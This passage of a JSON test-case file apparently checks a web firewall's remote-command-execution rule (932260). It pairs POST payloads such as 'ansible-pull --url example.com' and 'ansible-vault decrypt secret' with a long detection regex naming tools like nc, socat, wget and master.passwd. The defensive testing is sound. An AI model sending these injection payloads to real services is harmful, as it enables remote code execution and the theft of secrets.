]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block ansible-doc command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-inventory --list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\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|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block dumping ansible inventory file and variables" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-pull --url example.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\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:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block ansible pull from remote repository" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-vault decrypt secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\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2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block decrypting ansible secrets" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-playbook site.yml\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 